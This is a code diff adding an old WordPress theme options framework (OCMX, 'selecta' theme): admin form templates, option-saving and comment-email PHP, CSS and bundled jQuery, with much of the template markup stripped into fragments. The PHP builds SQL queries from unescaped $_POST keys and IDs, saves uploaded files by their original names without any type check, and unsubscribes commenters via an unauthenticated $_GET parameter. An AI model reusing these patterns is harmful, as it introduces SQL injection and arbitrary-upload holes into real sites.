      + $value) : + // Set the $value and $label for the options + if($input["options"] == "loop_categories") : + $use_value = $value->slug; + $label = $value->cat_name; + elseif($input["options"] == "loop_pages") : + $use_value = $value->ID; + $label = $value->post_title; + else : + $use_value = $value; + $label = $option_label; + endif; + if($use_value == $input_value) + {$selected = " checked='checkeds' ";} + else + {$selected = " ";} +?> +
    • " value="" />
    • + +
    +
    + +
    +
      + $value) : + // Check whether we must loop through the categories for the options + if($input["options"] == "loop_categories") : + $use_value = $value->slug; + $label = $value->cat_name; + else : + $use_value = $value; + $label = $option_label; + endif; + if($use_value == $input_value) {$selected = " selected='selected' ";} + else + {$selected = " ";} +?> +
    • " value="" /> 
    • + +
    +
    + + + + " id="" value="" /> +

    + Current Image + + + + " id="" value="" /> + + " id="" value="" /> + +
    + get_option("ocmx_page_order"), "sort_order" => get_option("ocmx_page_updown")); + $fetch_pages= get_pages($page_args); +?> + +
    +
      +ID; + // Check/Uncheck Categories + if(get_option($use_id)) : $main_checked = "checked='checked'"; else : $main_checked = ""; endif; + // If we're halfway then place create a new
        to seperate the categories + if ($i == number_format(count($fetch_pages)/2, 0)) : +?> +
      +
        +post_parent == 0) : +?> +
      • + name="" id="main_page_ID; ?>" /> post_title; ?> + $this_page->ID, "sort_column" => get_option("ocmx_page_order"), "sort_order" => get_option("ocmx_page_updown")); + else : + $sub_page_defaults = array("child_of" => $this_page->ID, "sort_order" => get_option("ocmx_page_updown")); + endif; + $sub_pages = get_pages($sub_page_defaults); +?> + +
      • + + +
      +
    + +
    +
      + get_option("ocmx_category_order"), "order" => get_option("ocmx_category_updown"), "hide_empty" => false); + $parent_categories = get_categories($cat_args); + // Count the Parent Categories (That is Categories without Parents themselves (To be used in the loop, explained below) + foreach ($parent_categories as $this_category) : + if($this_category->category_parent == 0) : + $parent_count++; + endif; + endforeach; + //Loop through the categories + foreach ($parent_categories as $this_category) : + //Create the checkbox Name/Id + $use_id = $input_prefix."maincategory_".$this_category->cat_ID; + + // Check/Uncheck Categories + if(get_option($use_id)) : $main_checked = "checked='checked'"; else : $main_checked = ""; endif; + + // If we're halfway then place create a new
        to seperate the categories + if ($i == number_format($parent_count/2, 0)) : +?> +
      +
        + 'post', 'child_of' => $this_category->cat_ID, 'orderby' => 'name', 'order' => 'ASC', 'hide_empty' => false); + $sub_categories = get_categories($sub_category_defaults); + + if($this_category->category_parent == 0) : +?> + +
      • + name="" id="main_category_cat_ID; ?>" /> cat_name; ?> + +
      • + +
      +
      +
    + +
    +
    +
    Advert Title
    +
    +
    +
    +
    +
    +
    Advert Link
    +
    +
    +
    +
    +
    +
    Image URL
    +
    +
    +
    +
    +
    +
     
    + +
    +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/ocmx-functions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/ocmx/ocmx-functions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,192 @@ + + + + + + + +query("DELETE FROM $wpdb->options + WHERE `option_name` LIKE 'ocmx_main_%' + OR `option_name` LIKE 'ocmx_maincategory_%' + OR `option_name` LIKE 'ocmx_menu_page%' + OR `option_name` LIKE 'ocmx_subpage_%' + OR `option_name` = 'ocmx_gallery_page' + OR `option_name` = 'ocmx_archives_page'"); + endif; + while (list($key,$value) = each($_POST)){ + if (substr($key, 0, 4) == "ocmx") : + wp_cache_flush(); + $clear_options = $wpdb->query("DELETE FROM $wpdb->options WHERE `option_name` = '".$key."'"); + if(!get_option($key)): + add_option($key, $value); + else : + update_option($key, $value); + endif; + + endif; + } + update_option("posts_per_page", get_option("ocmx_home_page_posts")); + if(!$_POST["ocmx_gallery_update"]) : + while (list($key,$value) = each($_FILES)){ + $image_name = strtolower($_FILES[$key]["name"]); + if($image_name !== "") : + $final_upload = ABSPATH."wp-content/uploads/".$image_name; + if(move_uploaded_file($_FILES[$key]["tmp_name"], $final_upload) === true) : + $test = move_uploaded_file($_FILES[$key]["tmp_name"], $final_upload); + else : + $test = "0"; + endif; + if($test !== "0") : + if(!get_option($key)): + add_option($key, $image_name); + else : + update_option($key, $image_name); + endif; + endif; + endif; + } + endif; +endif; +function ocmx_save_resample($upload_image, $new_image, $mime_type, $resize_type, $resize_height, $resize_width, $resize_percent, $image_width, $image_height) + { + global $upload_image, $new_image, $mime_type, $resize_type, $resize_height, $resize_width, $resize_percent, $image_width, $image_height; + + if($resize_type == "w" && ($resize_width < $image_width)) : + if($resize_width !== "0") : + $new_width = $resize_width; + else : + $new_width = $resize_height; + endif; + $new_height = ($image_height*($resize_width/$image_width)); + elseif($resize_type == "h" && ($resize_height < $image_height)) : + if($resize_height !== "0") : + $new_height = $resize_height; + else : + $new_height = $resize_width; + endif; + $new_width = ($image_width*($resize_height/$image_height)); + elseif($resize_type == "p") : + /* Set Resize Percentage */ + $resize_percent = ($resize_percent); + $new_width = ($image_width*$resize_percent); + $new_height = ($image_height*$resize_percent); + else : + $new_width = ($image_width); + $new_height = ($image_height); + endif; + + // Creat Canvas + $canvas = imagecreatetruecolor($new_width, $new_height); + + // Resample + if(imagecopyresampled($canvas, $new_image, 0, 0, 0, 0, $new_width, $new_height, $image_width, $image_height) === true) : + // Save + if($mime_type == "gif") : + imagegif($canvas, $upload_image, 100); + elseif($mime_type == "jpg") : + imagejpeg($canvas, $upload_image, 100); + elseif($mime_type == "png") : + imagepng($canvas, $upload_image); + endif; + endif; + + } +function ocmx_commentmeta_update($cid)//, $comment_twitter, $comment_subscribe, $comment_author_email + { + global $wpdb; + $commentId = (int) $cid; + $comment_table = $wpdb->prefix . "ocmx_comment_meta"; + if($_POST['twitter'] == "undefined" && $_POST['twitter'] == "Twitter Name") : + $use_twitter = ""; + else : + $use_twitter = $_POST['twitter']; + endif; + + if($_POST['email_subscribe'] == "true") : + $subscribe_me = 1; + else : + $subscribe_me = 0; + endif; + + $meta_update = $wpdb->query + ($wpdb->prepare + ("INSERT INTO $comment_table + (commentId, twitter, email_subscribe) + VALUES + (%d, %s, %s);", + $cid, $use_twitter, $subscribe_me) + ); + ocmx_comment_email($cid); + } +function ocmx_comment_email($cid)//, $comment_twitter, $comment_subscribe, $comment_author_email + { + global $wpdb; + $commentId = (int) $cid; + $comment_table = $wpdb->prefix . "ocmx_comment_meta"; + + $comment = $wpdb->get_row("SELECT $wpdb->comments.*, $comment_table.* FROM $wpdb->comments INNER JOIN $comment_table ON $wpdb->comments.comment_ID = $comment_table.commentId WHERE $wpdb->comments.comment_ID='".$cid."'"); + $post_details = $wpdb->get_row("SELECT * FROM $wpdb->posts WHERE ID='".$comment->comment_post_ID."' LIMIT 1"); + + $fetch_subscribers = $wpdb->get_results("SELECT $wpdb->comments.*, $comment_table.* + FROM $wpdb->comments INNER JOIN $comment_table + ON $wpdb->comments.comment_ID = $comment_table.commentId + WHERE $wpdb->comments.comment_post_ID = '".$comment->comment_post_ID."' + AND $comment_table.email_subscribe = '1' + GROUP BY $wpdb->comments.comment_author_email"); + + foreach($fetch_subscribers as $subscriber) : + $to = $subscriber->comment_author_email; + $headers = "From: \"".get_bloginfo("name")."\" Comments"; + $headers .= "MIME-Version: 1.0\n"; + $headers .= "Content-type: text/html; charset=iso-8859-1 \r\n"; + $body = ""; + $body .= "

    ".$post->post_title."

    "; + $body .= "

    ".$comment->comment_author." has commented on ". $post_details->post_title."

    "; + $body .= "

    Link: comment_author."\">".$comment->comment_author_url."

    "; + $body .= "

    Twitter Name: twitter."\">".$comment->twitter."

    "; + $body .= "

    Comment:

    "; + $body .= "
    "; + $body .= "

    ".$comment->comment_content."

    "; + $body .= "
    "; + $body .= "

    Go go straight to the post comment_post_ID)."#comments\">".get_permalink($comment->comment_post_ID).".

    "; + $body .= "

    Unsubscribe from this comment feed ".get_permalink($comment->comment_post_ID).".

    "; + wp_mail($to, $subject, $body, $headers); + endforeach; + } +function ocmx_unsubscribe($comment_id)//, $comment_twitter, $comment_subscribe, $comment_author_email + { + global $wpdb, $comment_id, $the_post; + $comment_id = $_GET["comment"]; + $comment_table = $wpdb->prefix . "ocmx_comment_meta"; + $the_comment = get_comment($comment_id); + + $subscriber_email = $the_comment->comment_author_email; + + $post_id = $the_comment->comment_post_ID; + $the_post = get_post($the_comment->comment_post_ID); + + $comment_args = array("post_id" => $post_id); + + $post_comments = get_comments($comment_args); + + foreach($post_comments as $this_comment) : + if($subscriber_email == $this_comment->comment_author_email) + $wpdb->update($comment_table , array( 'email_subscribe' => '0'), array( 'commentId' => $this_comment->comment_ID ), array( '%d' ), array( '%d' ) ); + endforeach; + } + +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/ocmx-general-options.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/ocmx/ocmx-general-options.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,58 @@ + + +

    OCMX Theme Options

    + + + +
    +

    + + +
    +
    + +
    +
    +
    +
    id="tab-1"> + +
    +
    +
    id="tab-2"> + +
    +
    +
    id="tab-3"> + 'post', 'child_of' => 0, 'orderby' => 'name', 'order' => 'ASC', 'hide_empty' => false); + menu_options($defaults); + ?> +
    +
    + + +
    +
    +
    +

    + +
    +
    + +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/ocmx-install-options.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/ocmx/ocmx-install-options.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,52 @@ + + +

    OCMX-Live Theme Options

    + + + +
    + + +
    +
    +
    + +
    +
    +
    +
    +

    Welcome to your Obox Theme Options

    +

    Thank you for purchasing this Obox Signature Series Theme. Due to the customized functionality this theme provides, we must take a moment to install the your new features.

    +

    + The following options will be added to your theme: +

      +
    • OCMX General Options
    • +
    • OCMX Social Media Widgets and Links
    • +
    • Advert Management
    • +
    • Advances Comment Functionality and Storage
    • +
    +

    +
    +

    Click here to begin the install, it shouldn't take more than a minute.

    +
    + + +
    +
    +
    + +
    +
    + +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/ocmx-setup.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/ocmx/ocmx-setup.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,51 @@ +query(): require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); + dbDelta($createClientsTable); +*/ +function install_ocmx() + { + global $wpdb; + + $comment_table = $wpdb->prefix . "ocmx_comment_meta"; + if(!check_table_existance($main_table)) : + + $comment_meta_table = "CREATE TABLE `".$comment_table."` ( + `commentId` MEDIUMINT(8) unsigned NOT NULL PRIMARY KEY, + `twitter` VARCHAR(255), + `block_user` TINYINT, + `email_subscribe` TINYINT);"; + + mysql_query($comment_meta_table); + $comments_sql = "SELECT * FROM $wpdb->comments"; + $comments_query = $wpdb->get_results($comments_sql); + + foreach($comments_query as $comment) : + if($comment->comment_subscribe == "Y") : + $comment_subs = "1"; + else : + $comment_subs = "0"; + endif; + $meta_update = $wpdb->query + ($wpdb->prepare + ("INSERT INTO $comment_table + (commentId, twitter, email_subscribe) + VALUES + (%d, %s, %s);", + $comment->comment_ID, "", $comment_subs) + ); + endforeach; + endif; + } + +function check_table_existance($new_table) { + global $wpdb; + + foreach ($wpdb->get_col("SHOW TABLES",0) as $table ) { + if ($table == $new_table) { + return true; + } + } + return false; +} +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/ocmx-upgrade-options.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/ocmx/ocmx-upgrade-options.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,49 @@ + + +

    OCMX Theme Upgrades & Hotfixes

    + + + +
    +

    + + +
    +
    +
    + +
    +
    +
    +
    +
    id="tab-1"> + +
    +
    +
    + + +
    +
    +
    +

    + +
    +
    + +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/ocmx-upgrade.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/ocmx/ocmx-upgrade.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,38 @@ +dirlist($upgrade_folder); + if ( !empty($upgrade_files) ) { + foreach ( $upgrade_files as $file ) + $wp_filesystem->delete($upgrade_folder . $file['name'], true); + } + + //We need a working directory + $working_dir = $upgrade_folder . basename($package, '.zip'); + + // Clean up working directory + if ( $wp_filesystem->is_dir($working_dir) ) + $wp_filesystem->delete($working_dir, true); + + // Unzip package to working directory + $result = unzip_file($package, $working_dir); //TODO optimizations, Copy when Move/Rename would suffice? + + // Once extracted, delete the package if required. + if ( $delete_package ) + unlink($package); + + if ( is_wp_error($result) ) { + $wp_filesystem->delete($working_dir, true); + return $result; + } + + return $working_dir; + */ + } + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/ocmx-widgets.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/ocmx/ocmx-widgets.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,8 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/ocmx_styles.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/ocmx/ocmx_styles.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,218 @@ +/*-----------------------------------------------------------------------------------------*/ +/*- RESET ---------------------------------------------------------------------------------*/ +/*-----------------------------------------------------------------------------------------*/ +html, body, div, span, object, iframe, +h1, h2, h3, h4, h5, h6, p, blockquote, pre, +a, abbr, acronym, address, big, cite, code, del, dfn, em, +img, ins, kbd, q, samp, small, strike, strong, sub, sup, +tt, var, dl, dt, dd, ol, ul, li, +fieldset, form, label, legend, +table, caption, tbody, tfoot, thead, tr, th, td { margin: 0; padding: 0; border: 0; outline: 0; vertical-align: baseline; background: transparent; } +table { border-spacing: 0; border-collapse: collapse; } +caption, th, td { text-align: left; font-weight: normal; } +blockquote, q { quotes: none; } +:focus { outline: 0; } + + +/*-----------------------------------------------------------------------------------------*/ +/*- Std Styles ----------------------------------------------------------------------------*/ +/*-----------------------------------------------------------------------------------------*/ +body{font-family: "Lucida Grande", Verdana, Arial, sans-serif;} +h2{color: #424542; margin: 15px 10px; background:url(images/ocmx_logo.gif) left top no-repeat; text-indent: 66px; font-size: 24px; font-weight: lighter; font-style: italic; font-family: Georgia, "Times New Roman", Times, serif;} +h3{color: #3c536a; font-size: 14px; margin: 0px 0px 10px; padding: 0px;} +p{margin: 0px 0px 10px; padding: 0px; line-height: 18px;} +input, select, textarea{border: 1px solid #7b9ebd; font-size: 13px; font-family: "Lucida Grande", Verdana, Arial, sans-serif;} +.no_display{display: none;} +p.error{clear:both; border: 1px solid #a60000; background: #FFCECE; color: #a60000; padding: 5px; text-align:center; width: 708px; margin: 0px 0px 0px 0px;} +.success{border-width: 1px; border-style: solid; padding: 0 0.6em; margin: 5px 15px 2px; -moz-border-radius: 3px; -khtml-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px;} +p.success{clear:both; border: 1px solid #006600; background-color: #d6f5c2; color: #006600; padding: 5px; text-align:center; width: 708px; margin: 0px 0px 0px 0px;} + + +/*-----------------------------------------------------------------------------------------*/ +/*- LAYOUT --------------------------------------------------------------------------------*/ +/*-----------------------------------------------------------------------------------------*/ +.content_box{width: 720px; margin: 20px 10px; position: relative;} + +/*------------------------------------*/ +/*- Parent Containers ----------------*/ +.ocmx-tabs{position: relative; z-index: 2; top: 1px;} +.ocmx-content{position: relative; z-index: 1;} + .ocmx-content p.section_notice{color: #4f6f8e; font-size: 13px; font-style: italic;} + +/*--------------------------------------------------------------------------------------------------------*/ +/*- Tabs -------------------------------------------------------------------------------------------------*/ +/*--------------------------------------------------------------------------------------------------------*/ +ul.tabs{list-style: none; margin: 0px; padding: 0px;} + ul.tabs li{background: url(images/tabs.jpg) top right no-repeat; height: 27px; padding-right: 9px; width: 120px; float: left; margin-right: 4px;} + ul.tabs li.selected{background-position: bottom right; margin-right: 8px;} + ul.tabs li a{height: 21px; width: 110px; padding: 6px 0px 0px 9px; color: #577a9d; font-size: 12px; font-weight: bold; text-decoration: none; background: url(images/tabs.jpg) top left no-repeat; display: block;} + ul.tabs li.selected a{background-position: bottom left; color: #464646;} + ul.tabs li a:hover{color: #464646;} + +/*--------------------------------------------------------------------------------------------------------*/ +/*- Curved Corner Divs -----------------------------------------------------------------------------------*/ +/*--------------------------------------------------------------------------------------------------------*/ +.header{height: 10px; overflow: hidden; background: #f9f9f9 url(images/top_right.gif) top right no-repeat;} + .header div{width: 10px; height: 10px; overflow: hidden; border-left: 1px solid #809DB9;} + +.content{background-color: #e3e9ee; padding: 1px 10px; clear: both; border-left: 1px solid #809db9; border-right: 1px solid #809DB9;} + +.footer{height: 10px; overflow: hidden; background: #f9f9f9 url(images/bottom_right.gif) bottom right no-repeat; clear: both;} + .footer div{width: 10px; height: 10px; overflow: hidden; background: #fff url(images/bottom_left.gif) left bottom no-repeat;} + + +/*--------------------------------------------------------------------------------------------------------*/ +/*- Rounded Forms ----------------------------------------------------------------------------------------*/ +/*--------------------------------------------------------------------------------------------------------*/ +.form_item{clear: both; height: auto; padding: 0px 0px 10px; margin: 0px 0px 20px; border-bottom: 1px dotted #809DB9;} + .form_label{clear: both; margin-bottom: 10px; height: 26px;} + .input_label{color: #5c5c5c; font-size: 13px; font-weight: bold; width: 180px; float: left; clear: left; padding-top: 5px;} + .input_form, .thumbnail{float: left; margin-bottom: 10px;} + + /*--------------------------------------------*/ + /*- Input Forms ------------------------------*/ + .input_form input{width: 240px; padding: 3px;} + + /*--------------------------------------------*/ + /*- Select Forms -----------------------------*/ + .input_form select{width: 240px; padding: 3px;} + + /*--------------------------------------------*/ + /*- Textarea Forms ---------------------------*/ + .input_form textarea{width: 440px; height: 100px;} + + /*--------------------------------------------*/ + /*- Advert Image Thumbnail -------------------*/ + .thumbnail{background-color: #fff;} + .thumbnail a{ + display:block; + height: 150px; + width: 318px; + padding: 10px; + background: #fff center no-repeat; + border: 1px solid #7f9db9; + text-decoration: none; + } + + /*--------------------------------------------*/ + /*- Form Thumbnail ---------------------------*/ + .form-thumbnail{background-color: #fff;} + .form-thumbnail a{ + display:block; + height: 150px; + width: 500px; + padding: 10px; + background: #fff center no-repeat; + border: 1px solid #7f9db9; + text-decoration: none; + } + + + +/*-------------------------------------------------------------------------------------------*/ +/*- Menu Structure Styles ------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + +.catagories {margin-top: 5px; padding: 10px; background-color: #fff; border: 1px solid #7f9db9; height: 140px; width: 300px; overflow: auto;} + + ul.cat_option{list-style: none; margin: 0px; padding: 0px;} + ul.cat_option li{float: left; width: 120px;} + +.new_category_div, .new_author_div{padding: 5px; border: 1px solid #ced9e1; background-color: #e3e9ee;} +.new_category_text .text, .new_author_text{float: left; height: 15px; font-size: 8px;} + +.selection_sections{height: auto; width: 580px; margin: 5px 0px 10px; padding: 10px; background-color: #fff; border: 1px solid #7f9db9;} + ul.section_option{float: left; width: 275px; margin-right: 5px; padding: 0px; list-style: none;} + ul.section_option li{margin: 0px 0px 5px;} + ul.section_option ul{width: 205px; padding-left: 20px; list-style: none;} + ul.section_option ul li{margin: 0px 0px 4px;} + ul.no_margin{margin-right: 0px;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- Advert Styles ---------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +.selected_image{clear: both; margin-bottom: 20px;} + .selected_image .thumbnail{border: 1px solid #7f9db9; background:#fff; padding: 10px;} + .selected_image .thumbnail{float:left;} + + .selected_image .change_picture_block{background:#fff; border: 1px solid #7f9db9; float:left; margin-left: 10px; padding: 10px 10px 12px 10px; width: 106px;} + .selected_image .change_picture_block div{clear:both; display:block; margin-top:10px;} + + .selected_image .change_picture_bar{background:#fff; border: 1px solid #7f9db9; float: left; margin-top: 10px; padding: 10px; width: 385px;} + .selected_image .change_picture_bar a{float:left; width: 190px; text-align: center; vertical-align: middle;} + .selected_image .change_picture_bar div{float:left; width: 190px; text-align: center; padding-top: 2px;} + +.gallery_image{clear: both; height: 220px; margin-bottom: 20px;} + .gallery_image .image_detail_block{float:left; margin-right: 10px; padding: 10px; width: 300px; border: 1px solid #7f9db9; background:#fff; margin-bottom: 10px;} + .label_tag{clear:both; font-weight: bold; margin-bottom:5px;} + .label_note{color: #555; font-weight: lighter; font-size: 8pt; font-style: italic; margin-bottom: 10px; } + .gallery_image .image_detail_block .gallery_image_tag{clear:both; display:block; height: 52px; margin-bottom:10px; font-size: 10pt; width: 285px;} + +.resize{clear: both; margin-bottom: 20px; margin-top: 10px; border: 1px solid #7f9db9; background:#fff; color: #000; padding: 10px; width: 385px;}/*border: 1px solid #e2c822; background:#fff9d7;*/ + .resize input{width: 30px;} + .resize ul{list-style: none; margin: 0px; padding: 0px; font-size: 13pt;} + .resize ul li{float: left; margin-right: 20px;} + .resize ul li.or{margin-top: 5px;} + +/*-------------------------------------------------------------------------------------------*/ +/*- Clearfix --------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +/* http://sonspring.com/journal/clearing-floats */ +html body * span.clear, +html body * div.clear, +html body * li.clear, +html body * dd.clear +{background: none; border: 0; clear: both; display: block; float: none; font-size: 0; list-style: none; margin: 0; padding: 0; overflow: hidden; visibility: hidden; width: 0; height: 0;} + +/* http://www.positioniseverything.net/easyclearing.html */ +.clearfix:after{clear: both; content: '.'; display: block; visibility: hidden; height: 0;} +.clearfix{display: inline-block;} +* html .clearfix{height: 1%;} +.clearfix{display: block;} +.clearboth{clear: both;} + +/*-------------------------------------------------------------------------------------------*/ +/*- Gallery Styles --------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + +tr.gallery_row td{padding: 10px 0px 20px 0px; border-bottom: 1px dotted #809DB9;} +tr.gallery_row td a {font-weight: bold;} +.gallery_form_image{clear: both; margin-bottom: 10px;} +.gallery_form_image .grid_thumbnail{border: 1px solid #7f9db9; background:#fff; display:block; margin: 5px 10px 5px 0px; padding: 5px; height: 120px; width: 140px; overflow: hidden;} +.gallery_form_image .grid_thumbnail a {height: 120px; width: 140px; overflow: hidden; display: block;} +.gallery_form_image .grid_edit_details {clear: both; display: block; height: 20px; width: 140px;} +.gallery_form_image .new_gallery_thumbnail{border: 1px dotted #7f9db9; background: #fff; display:block; margin: 5px 10px 5px 0px; padding: 5px; height: 120px; width: 140px; overflow: hidden;} +.gallery_form_image .new_gallery_thumbnail a {height: 120px; width: 140px; overflow: hidden; display: block;} + +.gallery_form_image .change_picture_block{background:#fff; border: 1px solid #7f9db9; float:left; margin-left: 10px; padding: 10px 10px 12px 10px; width: 106px;} +.gallery_form_image .change_picture_block div{clear:both; display:block; margin-top:10px;} +.gallery_form_image .change_picture_bar{background:#fff; border: 1px solid #7f9db9; float: left; margin-top: 10px; padding: 10px; width: 385px;} +.gallery_form_image .change_picture_bar a{float:left; width: 190px; text-align: center; vertical-align: middle;} +.gallery_form_image .change_picture_bar div{float:left; width: 190px; text-align: center; padding-top: 2px;} + +.gallery_form_image{clear: both; margin-bottom: 20px;} +.gallery_form_image .thumbnail{background:#fff; background-image: url('images/loading.gif'); background-repeat: no-repeat; background-position: center;border: 1px solid #7f9db9;display:block;float:left;height: 250px;padding: 10px;width: 320px;} +.gallery_form_image .thumbnail a + { + height: 226px; width: 300px; display: block; text-decoration: none; background-repeat: no-repeat + } +.gallery_image .image_detail_block{background:#fff; border: 1px solid #7f9db9; float:left; margin-right: 10px; padding: 10px 10px 12px 10px; width: 300px;} +.gallery_image .image_detail_block div.label_tag{clear:both; font-weight: bold; margin-bottom:5px;} +.gallery_image .image_detail_block .gallery_image_tag{clear:both; display:block; margin-bottom:10px; font-size: 10pt; width: 285px;} + +.resize{clear: both; margin-bottom: 20px; margin-top: 10px; border: 1px solid #7f9db9; background:#fff; color: #000; padding: 10px; width: 385px;}/*border: 1px solid #e2c822; background:#fff9d7;*/ +.resize input{width: 30px;} +.resize ul{list-style: none; margin: 0px; padding: 0px; font-size: 13pt;} +.resize ul li.or{margin-top: 2px;} +.resize ul li{float: left; margin-right: 10px;} + +.add_image{border: 1px solid #7f9db9; background:#fff; margin-bottom: 2px; padding: 10px; padding-top: 12px; text-transform: lowercase; width: 385px;} +.add_image a{color: black; font-size: 8pt; margin-left: 12px; font-style: bold; font-weight: normal; text-decoration: none; text-transform: none;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- Table Styles --------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +table.widefat tr td.t_center{text-align: center;} + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/selecta/ocmx/scripts x/jquery.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/selecta/ocmx/scripts x/jquery.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,4241 @@ +/*! + * jQuery JavaScript Library v1.3.1 + * http://jquery.com/ + * + * Copyright (c) 2009 John Resig + * Dual licensed under the MIT and GPL licenses. + * http://docs.jquery.com/License + * + * Date: 2009-01-21 20:42:16 -0500 (Wed, 21 Jan 2009) + * Revision: 6158 + */ +(function(){ + +var + // Will speed up references to window, and allows munging its name. + window = this, + // Will speed up references to undefined, and allows munging its name. + undefined, + // Map over jQuery in case of overwrite + _jQuery = window.jQuery, + // Map over the $ in case of overwrite + _$ = window.$, + + jQuery = window.jQuery = window.$ = function( selector, context ) { + // The jQuery object is actually just the init constructor 'enhanced' + return new jQuery.fn.init( selector, context ); + }, + + // A simple way to check for HTML strings or ID strings + // (both of which we optimize for) + quickExpr = /^[^<]*(<(.|\s)+>)[^>]*$|^#([\w-]+)$/, + // Is it a simple selector + isSimple = /^.[^:#\[\.,]*$/; + +jQuery.fn = jQuery.prototype = { + init: function( selector, context ) { + // Make sure that a selection was provided + selector = selector || document; + + // Handle $(DOMElement) + if ( selector.nodeType ) { + this[0] = selector; + this.length = 1; + this.context = selector; + return this; + } + // Handle HTML strings + if ( typeof selector === "string" ) { + // Are we dealing with HTML string or an ID? + var match = quickExpr.exec( selector ); + + // Verify a match, and that no context was specified for #id + if ( match && (match[1] || !context) ) { + + // HANDLE: $(html) -> $(array) + if ( match[1] ) + selector = jQuery.clean( [ match[1] ], context ); + + // HANDLE: $("#id") + else { + var elem = document.getElementById( match[3] ); + + // Handle the case where IE and Opera return items + // by name instead of ID + if ( elem && elem.id != match[3] ) + return jQuery().find( selector ); + + // Otherwise, we inject the element directly into the jQuery object + var ret = jQuery( elem || [] ); + ret.context = document; + ret.selector = selector; + return ret; + } + + // HANDLE: $(expr, [context]) + // (which is just equivalent to: $(content).find(expr) + } else + return jQuery( context ).find( selector ); + + // HANDLE: $(function) + // Shortcut for document ready + } else if ( jQuery.isFunction( selector ) ) + return jQuery( document ).ready( selector ); + + // Make sure that old selector state is passed along + if ( selector.selector && selector.context ) { + this.selector = selector.selector; + this.context = selector.context; + } + + return this.setArray(jQuery.makeArray(selector)); + }, + + // Start with an empty selector + selector: "", + + // The current version of jQuery being used + jquery: "1.3.1", + + // The number of elements contained in the matched element set + size: function() { + return this.length; + }, + + // Get the Nth element in the matched element set OR + // Get the whole matched element set as a clean array + get: function( num ) { + return num === undefined ? + + // Return a 'clean' array + jQuery.makeArray( this ) : + + // Return just the object + this[ num ]; + }, + + // Take an array of elements and push it onto the stack + // (returning the new matched element set) + pushStack: function( elems, name, selector ) { + // Build a new jQuery matched element set + var ret = jQuery( elems ); + + // Add the old object onto the stack (as a reference) + ret.prevObject = this; + + ret.context = this.context; + + if ( name === "find" ) + ret.selector = this.selector + (this.selector ? " " : "") + selector; + else if ( name ) + ret.selector = this.selector + "." + name + "(" + selector + ")"; + + // Return the newly-formed element set + return ret; + }, + + // Force the current matched set of elements to become + // the specified array of elements (destroying the stack in the process) + // You should use pushStack() in order to do this, but maintain the stack + setArray: function( elems ) { + // Resetting the length to 0, then using the native Array push + // is a super-fast way to populate an object with array-like properties + this.length = 0; + Array.prototype.push.apply( this, elems ); + + return this; + }, + + // Execute a callback for every element in the matched set. + // (You can seed the arguments with an array of args, but this is + // only used internally.) + each: function( callback, args ) { + return jQuery.each( this, callback, args ); + }, + + // Determine the position of an element within + // the matched set of elements + index: function( elem ) { + // Locate the position of the desired element + return jQuery.inArray( + // If it receives a jQuery object, the first element is used + elem && elem.jquery ? elem[0] : elem + , this ); + }, + + attr: function( name, value, type ) { + var options = name; + + // Look for the case where we're accessing a style value + if ( typeof name === "string" ) + if ( value === undefined ) + return this[0] && jQuery[ type || "attr" ]( this[0], name ); + + else { + options = {}; + options[ name ] = value; + } + + // Check to see if we're setting style values + return this.each(function(i){ + // Set all the styles + for ( name in options ) + jQuery.attr( + type ? + this.style : + this, + name, jQuery.prop( this, options[ name ], type, i, name ) + ); + }); + }, + + css: function( key, value ) { + // ignore negative width and height values + if ( (key == 'width' || key == 'height') && parseFloat(value) < 0 ) + value = undefined; + return this.attr( key, value, "curCSS" ); + }, + + text: function( text ) { + if ( typeof text !== "object" && text != null ) + return this.empty().append( (this[0] && this[0].ownerDocument || document).createTextNode( text ) ); + + var ret = ""; + + jQuery.each( text || this, function(){ + jQuery.each( this.childNodes, function(){ + if ( 